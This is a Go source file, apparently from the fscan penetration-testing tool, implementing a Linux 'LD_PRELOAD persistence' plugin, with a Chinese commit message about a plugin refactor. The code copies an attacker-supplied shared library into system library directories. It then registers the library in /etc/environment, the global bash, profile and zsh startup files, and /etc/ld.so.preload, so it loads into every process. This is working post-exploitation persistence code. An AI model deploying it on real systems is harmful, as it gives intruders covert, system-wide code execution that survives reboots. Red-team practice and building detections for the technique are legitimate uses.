fscan/plugins/local/ldpreload.go
ZacharyZcR 95497da8ca refactor: 优化插件系统设计,消除代码重复
主要改进:
1. 修复Services插件端口数据重复问题
   - 删除插件结构体中的ports字段和GetPorts()方法
   - 系统统一使用注册时的端口信息

2. 引入BasePlugin基础结构体
   - 消除51个插件中重复的name字段和Name()方法
   - 统一插件基础功能,简化代码维护

3. 统一插件接口设计
   - 保持向后兼容,功能完全不变
   - 代码更简洁,符合工程最佳实践

影响范围:
- services插件:29个文件简化
- web插件:2个文件简化
- local插件:21个文件简化
- 总计删除约150行重复代码
2025-09-02 05:36:12 +08:00

327 lines
7.8 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins"
)
// LDPreloadPlugin LD_PRELOAD持久化插件 - Linus式简化版本
//
// 设计哲学:直接实现,删除过度设计
// - 删除复杂的继承体系
// - 直接实现持久化功能
// - 保持原有功能逻辑
type LDPreloadPlugin struct {
plugins.BasePlugin
targetFile string
}
// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件
func NewLDPreloadPlugin() *LDPreloadPlugin {
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = ""
}
return &LDPreloadPlugin{
BasePlugin: plugins.NewBasePlugin("ldpreload"),
targetFile: targetFile,
}
}
// Scan 执行LD_PRELOAD持久化 - 直接实现
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("LD_PRELOAD持久化只支持Linux平台\n")
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
}
}
if p.targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile))
return &ScanResult{
Success: false,
Output: output.String(),
Error: err,
}
}
// 检查文件类型
if !p.isValidFile(p.targetFile) {
output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", p.targetFile))
return &ScanResult{
Success: false,
Output: output.String(),
Error: fmt.Errorf("无效文件类型"),
}
}
output.WriteString("=== LD_PRELOAD持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
var results []string
var successCount int
// 1. 复制文件到系统目录
systemPath, err := p.copyToSystemPath()
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath))
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath))
successCount++
}
// 2. 添加到全局环境变量
err = p.addToEnvironment(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err))
} else {
results = append(results, "已添加到 /etc/environment")
output.WriteString("✓ 已添加到全局环境变量\n")
successCount++
}
// 3. 添加到shell配置文件
shellConfigs, err := p.addToShellConfigs(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err))
} else {
results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", ")))
output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", ")))
successCount++
}
// 4. 创建库配置文件
err = p.createLdConfig(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err))
} else {
results = append(results, "已创建 /etc/ld.so.preload 配置")
output.WriteString("✓ 已创建ld预加载配置\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4))
if successCount > 0 {
common.LogSuccess(fmt.Sprintf("LD_PRELOAD持久化完成: %d个方法成功", successCount))
}
return &ScanResult{
Success: successCount > 0,
Output: output.String(),
Error: nil,
}
}
// copyToSystemPath 复制文件到系统目录
func (p *LDPreloadPlugin) copyToSystemPath() (string, error) {
// 选择合适的系统目录
systemDirs := []string{
"/usr/lib/x86_64-linux-gnu",
"/usr/lib64",
"/usr/lib",
"/lib/x86_64-linux-gnu",
"/lib64",
"/lib",
}
var targetDir string
for _, dir := range systemDirs {
if _, err := os.Stat(dir); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("找不到合适的系统库目录")
}
// 生成目标路径
basename := filepath.Base(p.targetFile)
if !strings.HasPrefix(basename, "lib") {
basename = "lib" + basename
}
if !strings.HasSuffix(basename, ".so") {
basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so"
}
targetPath := filepath.Join(targetDir, basename)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件
func (p *LDPreloadPlugin) copyFile(src, dst string) error {
cmd := exec.Command("cp", src, dst)
return cmd.Run()
}
// addToEnvironment 添加到全局环境变量
func (p *LDPreloadPlugin) addToEnvironment(libPath string) error {
envFile := "/etc/environment"
// 读取现有内容
content := ""
if data, err := os.ReadFile(envFile); err == nil {
content = string(data)
}
// 检查是否已存在
ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath)
if strings.Contains(content, libPath) {
return nil // 已存在
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += ldPreloadLine + "\n"
// 写入文件
return os.WriteFile(envFile, []byte(content), 0644)
}
// addToShellConfigs 添加到shell配置文件
func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
configFiles := []string{
"/etc/bash.bashrc",
"/etc/profile",
"/etc/zsh/zshrc",
}
ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath)
var modified []string
for _, configFile := range configFiles {
if _, err := os.Stat(configFile); os.IsNotExist(err) {
continue
}
// 读取现有内容
content := ""
if data, err := os.ReadFile(configFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, libPath) {
continue
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += ldPreloadLine + "\n"
// 写入文件
if err := os.WriteFile(configFile, []byte(content), 0644); err == nil {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何shell配置文件")
}
return modified, nil
}
// createLdConfig 创建ld预加载配置
func (p *LDPreloadPlugin) createLdConfig(libPath string) error {
configFile := "/etc/ld.so.preload"
// 读取现有内容
content := ""
if data, err := os.ReadFile(configFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, libPath) {
return nil
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += libPath + "\n"
// 写入文件
return os.WriteFile(configFile, []byte(content), 0644)
}
// isValidFile 检查文件类型
func (p *LDPreloadPlugin) isValidFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
// 检查扩展名
if ext == ".so" || ext == ".elf" {
return true
}
// 检查文件内容ELF魔数
file, err := os.Open(filePath)
if err != nil {
return false
}
defer file.Close()
header := make([]byte, 4)
if n, err := file.Read(header); err != nil || n < 4 {
return false
}
// ELF魔数: 0x7f 0x45 0x4c 0x46
return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46
}
// 注册插件
func init() {
RegisterLocalPlugin("ldpreload", func() Plugin {
return NewLDPreloadPlugin()
})
}